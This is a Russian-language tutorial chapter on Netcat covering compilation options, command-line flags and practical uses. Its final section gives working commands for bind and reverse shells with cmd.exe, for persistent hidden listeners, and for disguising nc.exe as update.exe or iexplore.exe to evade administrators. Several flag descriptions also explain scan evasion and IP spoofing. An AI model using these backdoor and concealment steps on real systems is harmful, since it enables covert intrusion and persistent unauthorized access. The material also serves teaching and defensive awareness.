Всё о NETCAT​


Netcat устанавливает и поддерживает TCP (Transmission Control Protocol) и UDP (User Datagram Protocol) соединения, читает и записывает данные по этим соединениям до тех пор, пока они не будут закрыты. Это основа работы сетевой подсистемы TCP/UDP, которая позволяет пользователям взаимодействовать по сети с помощью команд или скриптов с сетевыми приложениями и службами на прикладном уровне. Программа дает возможность увидеть пакеты TCP и UDP данных до того, как они будут упакованы в соответствии с протоколами более высокого уровня, такими как FTP (File Transfer Protocol), SMTP (Simple Mail Transfer Protocol), или HTTP (Hypertext Transfer Protocol).
Примечание. Технически Netcat не устанавливает UDP-соединение, поскольку UDP-протокол работает и без него. В этой лекции, говоря о UDP-соединении, используемом Netcat, мы говорим об использовании Netcat в режиме UDP для того, чтобы начать передачу данных службе UDP, которая передает их принимающей стороне.

Netcat не делает ничего выдающегося. У этой программы нет красивого графического интерфейса пользователя (GUI), и она не выводит данные в виде красивого отчета. Но поскольку Netcat работает на таком базовом уровне, то он удобен для использования во многих ситуациях. Так как Netcat должен использоваться в паре с какими-либо еще программами или техническими приемами, неопытному пользователю его роль может показаться слишком преувеличенной. Управлять из командной строки файлом Readme новичку тоже довольно сложно. Тем не менее, к концу этой лекции вы увидите, что Netcat может стать одним из наиболее используемых инструментов в вашем арсенале.
Реализация.
Поскольку у Netcat так много способов применения, его часто сравнивают со «Швейцарским армейским ножом» для работы с TCP/IP и UDP протоколами. Прежде, чем вы сможете изучить, как пользоваться этой программой, придется загрузить и установить ее.

Загрузка

Netcat можно получить из многих источников, и каждый из множества дистрибутивов Unix поставляется с уже готовым к работе модулем Netcat. Не самая плохая идея загрузить исходные тексты этой программы и откомпилировать ее самостоятельно. По умолчанию, Netcat скомпилирован с меньшим, чем этого хотелось бы, количеством опций. Загрузив исходные тексты и скомпилировав их самостоятельно, вы сможете полностью проконтролировать, какие возможности Netcat будут в вашем распоряжении.

Официальный сайт, с которого можно загрузить Netcat как для Unix, так и для Windows — http://www.atstake.com//.

Установка

Мы не будем углубляться в процедуры загрузки, распаковки и компиляции большинства программ, обсуждаемых в этой книге. Но так как Netcat — первая программа, о которой мы говорим, и поскольку у него есть несколько интересных опций, определяемых на этапе компиляции, будет не лишним углубиться в некоторые подробности.

Скопируйте с упомянутого сайта файл nc110.tgz. Затем распакуйте его.

Code:
[root@originic tmp]# ls
nc110.tgz
[root@originic tmp]# mkdir nc
[root@originic tmp]# cd nc
[root@originic tmp]# tar zxf ../nc110.tgz
[root@originic tmp]#

Примечание. В отличие от большинства тарболов (архивов, созданных с использованием утилиты-архиватора tar в Unix системах), Netcat при распаковке не создает собственной директории. Сейчас эти советы могут выглядеть банально, но если все ваши архивы и поддиректории загружены в одну директорию, и вы обнаружите, что Netcat разместил все свои файлы в корне, то понадобиться некоторое время чтобы вычистить их оттуда.

Теперь вы готовы начать компиляцию. Обратим внимание на две важные опции, задаваемые перед компиляцией.
GAPING_SECURITY_HOLE. Как видно из названия, эта опция может сделать Netcat опасным в чужих руках, но она также делает его весьма мощным инструментом. Если эта опция включена, Netcat сам может запускать внешние программы. Ввод/вывод этих программ в этом случае будет проходить через конвейер данных самого Netcat. Тем самым Netcat ведет себя как функционально усеченный демон inetd, давая вам возможность выполнять удаленные команды (вроде запуска оболочки shell) всего лишь установив TCP или UDP соединение с контролируемым портом. Эта опция отключена по умолчанию, поскольку весьма велика опасность ее неверного использования или ошибок в конфигурировании.
TELNET. Обычно, если вы используете Netcat для соединения с telnet-сервером (используя команду nc servername 23), вы уйдете не слишком далеко. Telnet-серверы и клиенты согласовывают некоторые параметры еще до того, как появляется приглашение ввести идентификатор (login). Если включить при компиляции эту опцию, то Netcat сможет реагировать на запросы Telnet-сервера (отвечая на каждый из них no), что даст вам возможность дойти до ввода идентификатора. Без этого, если вы захотите получить что-нибудь путное, используя Netcat и telnet, вам понадобится написать собственный скрипт для реализации соединения с telnet-сервером. Возможно, важность этой опции пока вам не ясна, но вы поймете, почему мы обращаем на это внимание, как только посмотрите некоторые примеры приведенные далее в этой лекции.

Для того чтобы включить каждую из этих опций, необходимо добавить строку DFLAGS в начало makefile.

Code:
# makefile for netcat, based off same ol' "generic makefile".
# Usually do "make systape" - if your systipe isn't defined, try "generic"
# or something else that most closely mathes, see where it goes wrong, fix
# it, and MAIL THE DIFFS back to Hobbit
### PREDEFINES
# DEFAULT possibly overridden by <systype> recursive call:
# pic gcc if you'd rather, and/or do -g instead -O if debugging
# DFLAGS = -DTEST -DDEBUG
DFLAGS = -DGAPING_SECURITY_HOLE -DTELNET
CFLAGS = -O

Вы можете включить одну или обе эти опции в строку DFLAGS.

Если вы намерены поиграть с приведенными далее примерами, вам следует проделать эти модификации. Однако до того как вы произведете эти изменения, убедитесь в том, что доступ к созданным вами исполняемым файлам запрещен для любого пользователя, или в том, что вы являетесь единственным пользователем в системе. Достаточно того, что другому пользователю также просто загрузить собственную копию Netcat и скомпилировать ее с теми же опциями, и вы вряд ли захотите увидеть, что ваша система взломана, потому что кто-то использовал вашу специально скомпилированную версию Netcat в качестве «черного хода» в вашу систему.

Теперь вы готовы к компиляции. Просто наберите в командной строке make systemtype, где systemtype — это название Unix-системы, с которой вы работаете (это может быть linux, freebsd, solaris и так далее). Когда процесс закончится, вы обнаружите небольшой исполняемый файл «nc» в текущей директории.

Для пользователей Windows версию Netcat можно загрузить в виде архива (nc11nt.zip), также содержащего исходные тексты. Но поскольку большинство людей не имеют компиляторов, то исполняемый файл подготовлен заранее с опциями, включенными по умолчанию. Просто распакуйте архив и ваш файл nc.exe готов к использованию.

Командная строка

Командная строка для Netcat выглядит как

Code:
nc [options] host ports

где host — имя хоста или его IP-адрес для поиска, а ports — это или номер порта, или диапазон номеров портов (определяемый «m-n»), или несколько номеров портов разделенных пробелами.

Теперь вы полностью готовы посмотреть на те поразительные вещи, которые можно проделать с помощью Netcat. Внимательно присмотримся к каждой из опций командной строки, чтобы получить общие представления о возможностях.

Опции:

  • -d. Доступна только в Windows. Переводит Netcat в режим невидимки. Можно запустить программу в режиме прослушивания, не открывая окно режима MS-DOS. Это также позволяет взломщикам лучше маскировать работающую программу от системных администраторов.
  • -e <command>. Если Netcat скомпилирован с опцией GAPING_SECURITY_HOLE, программа может выполнять команду <command> всякий раз, когда кто-либо устанавливает соединение с прослушиваемым портом, до тех пор, пока клиент Netcat перенаправляет ввод/вывод работающей программе. Использовать эту опцию достаточно опасно, если вы не до конца представляете себе, что вы делаете. Это быстрый и простой способ открыть «черный ход» в вашу систему. Пример будет приведен далее.
  • -i <seconds>. Интервал задержки между пересылками порций данных. Если через конвейер Netcat проходит файл, то программа ждет <seconds> секунд перед тем, как передать следующую строку, поступившую на вход. Если вы используете Netcat для управления несколькими портами на одном хосте, Netcat ждет <second> секунд перед тем, как соединится со следующим портом из перечисленных в строке. Это дает возможность немного замаскировать передачу данных или атаку системной службы, и это позволяет замаскировать сканирование портов от некоторых программных средств, анализирующих попытки внедрения, и от системных администраторов.
  • -g <route-list>. Использование этой опции может быть весьма нетривиальным. Netcat поддерживает возможность маскировки начала маршрутизации (более подробно обсуждается в разделе «Создайте друга: подмена IP-адресов»). Вы можете определить до восьми -g опций в командной строке, чтобы заставить Netcat передавать трафик через определенные IP-адреса, которые обычно используются в случае, если вы подменяете исходящий IP-адрес, с которого поступает ваш трафик (например, для того, чтобы попытаться преодолеть брандмауэр или проверку разрешенных для доступа хостов). Используя этот прием на машине, с которой вы осуществляете управление процессом, вы можете заставить передаваемые пакеты возвращаться по указанному вами адресу вместо продвижения их по реальному направлению. Заметьте, что это обычно не срабатывает, поскольку большинство маршрутизаторов игнорируют опции источника маршрутизации, а многие фильтры и файрволы протоколируют такие попытки.
  • -G <hop pointer>. Эта опция позволяет внести изменения в список маршрутизации, определенный параметром -g с тем, чтобы определить, к какому из адресов переходить. Поскольку IP-адрес — это четырехбайтовое число, этот аргумент всегда представляет собой число, кратное четырем, где 4 означает первый IP-адрес в списке, 8 — второй и так далее. Эта опция обычно используется в том случае, если вы пытаетесь так подделать список маршрутизации, чтобы он выглядел, как будто пакеты приходят откуда-то из другого места. Пропуская первые два IP-адреса, прописанные в списке, определенном опцией -g, и указав в параметре -G число 12, вы определите маршрутизацию пакетов непосредственно на третий адрес в вашем списке маршрутизации. Реальное содержание пакета по-прежнему будет содержать IP-адреса, которые были пропущены, создавая видимость, что пакеты пришли с одного адреса, тогда как на самом деле они пришли откуда-то еще. Этот прием позволяет скрыть, откуда вы пришли на хост, при использовании подмены адресов или списк а маршрутизации, но не факт, что у вас будет возможность получить ответ, поскольку он будет передаваться обратно по маршруту через ваши поддельные IP-адреса.
  • -l. Эта опция переключает режим «прослушивания» Netcat. Она используется совместно с опцией -p, чтобы привязать Netcat к определенному TCP-порту и ожидать входящих соединений. Чтобы использовать UDP-порт, воспользуйтесь опцией -u.
  • -L. Доступная только в Windows-версии программы, более жесткая опция режима «прослушивания», чем -l. Она указывает программе на необходимость перезапуска с теми же параметрами в случае, если соединение было закрыто. Это дает Netcat возможность отслеживать последующие соединения без вмешательства пользователя, каждый раз после завершения первоначального соединения. Как и в случае с опцией -l, эту опцию необходимо использовать совместно с опцией -p.
  • -n сообщает Netcat, что не нужно осуществлять поиск каких-либо хостов. Если вы используете эту опцию, не следует указывать никаких имен хостов в качестве аргументов.
  • -o <hexfile> обеспечивает создание шестнадцатеричного дампа данных и сохранение его в файле hexfile. Команда nc -o hexfile записывает данные, проходящие в обоих направлениях, и начинает каждую строку с символов < или > для обозначения соответственно входящих или исходящих данных. Чтобы записывать в файл только входящие данные, вам следует использовать команду nc -o <hexfile. Соответственно для записи только исходящих данных воспользуйтесь командой nc -o >hexfile.
  • -p <port>. Опция позволяет вам определить локальный номер порта, который следует использовать Netcat. Этот аргумент требуется в случае, если вы используете опции -l или -L для режима прослушивания. Если эта опция не определена для исходящего соединения, Netcat будет использовать порт, который определен для этого в системе, что и делают большинство TCP или UDP клиентов. Имейте в виду, что в Unix-системах только пользователь root может определять номера портов меньше чем 1024.
  • -r. Netcat выбирает локальный и удаленный порт случайным образом. Эта опция полезна в случае, когда Netcat используется для получения информации о большом интервале номеров портов в системе и при этом представить ситуацию так, чтобы это было в меньшей степени похоже на процедуру сканирования портов. В случае если эта возможность используется совместно с опцией -i и с достаточно большим интервалом, то велика вероятность, что сканирование портов не будет обнаружено без внимательного изучения системного журнала администратором.
  • -s определяет исходящий IP-адрес, который Netcat использует для установки соединения. Эта опция позволяет взломщикам выполнять несколько изящных фокусов: скрыть свой IP-адрес или подделать что-либо еще. Но чтобы получить информацию, отправляемую на подмененный адрес, им необходимо использовать опцию определения порядка маршрутизации -g. Далее, используя режим прослушивания, вы можете многократно привязываться к уже прослушанному сервису. Все TCP- и UDP-сервисы работают с портами, но не каждый из них работает с конкретным IP-адресом. Многие службы по умолчанию прослушивают все доступные интерфейсы. Syslog, к примеру, прослушивает UDP-порт 514 для считывания трафика syslog. В то же время, если вы запустили Netcat на прослушивание 514 порта и использовали опцию -s для определения исходящего IP-адреса, любой трафик, проходящий через определенный вами IP-адрес, в первую очередь будет направляться через Netcat. Почему? Если сокет определяет и IP-адрес, и номер порта, это определяет его приоритет над сокетом, который не определяет обоих параметров. Позже мы расскажем об этом подробнее и продемонстрируем, как определить, какой сервис в системе может быть определен заранее.
  • -t. Откомпилированный с опцией TELNET, Netcat может поддерживать взаимодействие с telnet-сервером в соответствии с установленными соглашениями, отвечая незначащей информацией, но дает вам возможность ввести информацию в ответ на приглашение ввести login, когда вы используете TCP-соединение по 23 порту.
  • -u. Опция сообщает программе о необходимости использовать UDP-протокол вместо TCP, работая как в режиме прослушивания, так и в режиме клиента.
  • -v определяет, насколько подробно программа информирует вас о том, что она делает. Если не использовать опцию -v, Netcat выдает только принятую информацию. Если опция -v использована один раз, вы сможете узнать, с каким адресом произошло соединение или какой адрес отслеживается в случае, если возникли какие-то проблемы. Повторное использование опции позволит узнать, какое количество данных было послано или принято до завершения соединения.
  • -w <seconds> определяет промежуток времени, в течение которого Netcat ждет соединения. Этот параметр также сообщает, как долго следует ожидать после получения сигнала EOF (конец файла) на стандартный вход перед разрывом соединения и завершением работы. Это особенно важно, если вы посылаете команды удаленному серверу с использованием Netcat и ожидаете получить большой объем информации (к примеру, посылая веб-серверу HTTP команду на загрузку большого файла).
  • -z. Если вы беспокоитесь только о том, чтобы определить, какой из портов открыт, вам следует использовать nmap (см. лекцию «Сканеры портов»). Но эта опция сообщает Netcat о необходимости послать достаточно данных для поиска открытых портов в заданном диапазоне значений.

Теперь, когда у вас появилось представление о возможностях Netcat, познакомьтесь с несколькими примерами использования этой программы в реальной жизни.

101 способ использовать Netcat

Люди нашли сотни способов использования Netcat в решении ежедневных задач. Многие из этих задач похожи, отличаясь лишь незначительными деталями. Мы постарались привести некоторые из них, наиболее общие и охватывающие большее число возможностей применения программы. Здесь приведены наиболее важные с нашей точки зрения способы применения Netcat.
Получение удаленного доступа к командной оболочке

Хотели бы вы получить доступ к командной строке MS-DOS домашнего компьютера из любой точки земного шара? Запустив команду nc.exe -l -p 4455 -e cmd.exe из командной строки MS-DOS на NT или Windows 2000, любой присоединившийся с помощью telnet к порту 4455 на этом компьютере получит в свое распоряжение DOS-оболочку, без необходимости вводить идентификатор и пароль.

Code:
[root@originix /root]# telnet 192.168.1.101 4455
Trying 192.168.1.101 :
Connected to 192.168.1.101
Escape character is '^]'.
Microsoft Windows 2000 [Version 5.00.2195]
© Copyright 1985-2000 Microsoft Corp.
C:\>
Connection closed by foreign host.
[root@originix /root]#

Неплохо сделано! Это к тому же выглядит страшновато. Приложив незначительные усилия, вы получили доступ к командной строке системы. Конечно, в Windows 2000 или NT у вас будут такие же привилегии, как у пользователя, запустившего Netcat. Но такой способ проникновения в Windows 95 и 98 (используя command.com вместо cmd.exe) позволит вам управлять всей машиной без ограничений. Этот пример демонстрирует, насколько может быть опасен Netcat в чужих руках.
Примечание. Netcat демонстрирует чрезвычайно неустойчивую работу под управлением Windows 95 и 98, особенно после многократного запуска.

Попробуем что-нибудь сделать с помощью этой команды. Имейте в виду, что Netcat по умолчанию выполняется внутри того окна DOS, в котором запускается. Это означает, что окно управления командной строкой должно оставаться открытым все время, пока работает Netcat. Использование опции -d для отсоединения от командной строки должно позволить выполняться программе даже после того, как окно поддержки командной строки будет закрыто.

Code:
C:\> nc.exe -l -p 4455 -d -e cmd.exe

Это делает работу по маскировке «черного хода», созданного с использованием Netcat, более качественной. Однако если кто-нибудь соединится с портом 4455 с помощью telnet, то, как только клиент разорвет соединение, Netcat выполнит команду и прекратит «прослушивание». Используйте опцию -L вместо -l, чтобы сохранить режим прослушивания после того, как первое соединение будет завершено.
C:\> nc.exe -p 4455 -d -L -e cmd.exe

Это позволяет взломщику возвращаться в систему до тех пор, пока системный администратор не обнаружит работающую программу (nc.exe) в списке выполняющихся задач. Взломщик, правда, может подумать и об этом и переименовать nc.exe как-нибудь так:

Code:
C:\>move nc.exe c:\Windows\System32\Drivers\update.exe
C:\>Windows\System32\Drivers\update.exe -p 4455 -d -L -e cmd.exe

Системный администратор может не обратить внимания на файл update.exe — это может быть все, что угодно. Взломщик также может скрыть командную строку. Еще одной возможностью Netcat является то, что если вы запускаете его без опций в командной строке, то программа ожидает получения командной строки в первой строчке стандартного ввода.

Code:
C:\>Windows\System32\Drivers\update.exe 
Cmd line: -p 4455 -d -L -e cmd.exe
C:\>

Теперь, если системный администратор выполнит команду netstat -a -n в командной строке, то сможет заметить, что нечто выполняется на ранее незанятом порту, присоединиться к порту с использованием telnet и раскрыть фокус. Однако Windows использует множество случайных портов по разному поводу, и вывод программы netstat потребует много времени для анализа, особенно в интенсивно используемой системе.

Взломщик может пытаться использовать различные возможности. Если он, к примеру, проник через сервер Citrix, получил доступ к большому числу пользователей, которые бродили по интернету, то сможет увидеть большое количество запросов к системе DNS (Domain Name System) и интернет-соединений. Выполненная команда netstat -a -n показала бы много исходящих TCP-соединений по 80 порту. Вместо того чтобы запускать экземпляр Netcat на прослушивание на Windows машине и ожидать соединения, Netcat может перенаправлять входной и выходной потоки программы cmd.exe другому экземпляру Netcat, выполняющемуся на другой машине и прослушивающему 80 порт. В этом случае взломщик захочет выполнить следующее:

Code:
[root@originix/root]# nc -l -p 80

На Windows-машине взломщик естественно пожелает скрыть присутствие Netcat следующим образом:

Code:
C:\>mkdir c:\Windows\System32\Drivers\q
C:\>move nc.exe c:\Windows\System32\Drivers\q\iexplore.exe
C:\>cd c:\Windows\System32\Drivers\q
c:\Windows\System32\Drivers\q>iexplore.exe
Cmd line -d -e cmd.exe originix 80
c:\Windows\System32\Drivers\q>

Теперь Netcat в режиме «прослушивания» должен контролировать командный интерпретатор на Windows машине. Такой подход поможет лучше выполнить работу по маскировке «черного хода» от системного администратора. На первый взгляд соединение будет выглядеть всего лишь, как безобидное HTTP-соединение интернет-броузера. Взломщика может расстраивать только то, что после завершения работы командного интерпретатора у него нет никаких способов перезапустить процесс на Windows машине.

Добавить комментарий

Ваш e-mail не будет опубликован. Обязательные поля помечены *

Перейти к верхней панели